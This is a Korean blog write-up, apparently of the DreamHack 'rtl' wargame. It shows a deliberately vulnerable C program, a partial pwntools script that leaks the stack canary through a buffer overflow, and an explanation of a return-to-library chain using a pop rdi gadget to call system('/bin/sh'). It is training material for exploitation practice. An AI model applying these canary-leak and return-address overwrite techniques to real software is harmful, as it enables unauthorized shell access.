NX로 공격자가 직접 쉘 코드를 실행하는 것은 어려워졌지만, 스택 버퍼 오버플로우 취약점으로 반환주소를 덮는건 가능했다.
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
read 함수에서 BOF 취약점을 이용해서 문제를 해결할 수 있다.
NX와 Cannary가 설정되어 있다.
일단 스택의 구조를 살펴보자
첫번째 read 함수를 통해 카나리를 알아내야한다.
buf부터 카나리까지의 거리는 0x38이므로 0x39만큼 'A' 문자를 입력하면 카나리 앞의 '\x00'이 제거 되어서 카나리를 알아 낼 수 있습니다.
from pwn import *
p = remote("host3.dreamhack.games", 16643)
e = ELF("./rtl")
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
카나리를 구했다면, 이제 두 번째 입력으로 반환주소를 덮어야 합니다.
그러나 NX로 인해 buf에 직접 쉘코드를 주입하고 이를 실행할 수는 없습니다.
다른방법으로 공격을 해야합니다.
우리는 sustem 함수의 PLT 주소를 알고 있다면 system 함수를 이용해서 system("/bin/sh")을 호출하여 쉘을 획득할 수 있습니다.
여기서 이 방법의 중요한 키 포인트는 rdi를 '/bin/sh' 값으로 설정해야 된다는 점인데 이를 위해서 "리턴 가젯"을 이용합니다.
0x0000000000400853 : pop rdi ; ret
리턴 가젯은 ret로 끝나는 어셈블리 코드 조각입니다.
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여서 익스플로잇에 필요한 조건을 만족할 수 있도록 돕습니다. 예를들어
이 문제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고 system함수를 호출해야 합니다. 리턴 가젯을 사용하여 반환 주소와 이후의 버퍼를 다음과 같이 덮으면 pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system 함수를 호출 할 수 있습니다.
준비물 -> system plt, /bin/sh, return gadget
return gadget
/bin/sh
system plt
전체 익스플로잇 코드
'시스템 해킹 > DreamHack으로 해커를 꿈꾸며' 카테고리의 다른 글
NX & ASLR 이란? (1) | 2023.02.27 |
---|---|
컴퓨터 시스템 라이브러리란(Library - Static Link vs. Dynamic Link) (0) | 2023.02.26 |
[DreamHack] basic_exploitation_001 (0) | 2023.02.22 |
[DreamHack] basic_exploitation_000 (Stack Buffer Overflow) (0) | 2023.02.21 |
[DreamHack] Return Address Overwrite (0) | 2023.02.20 |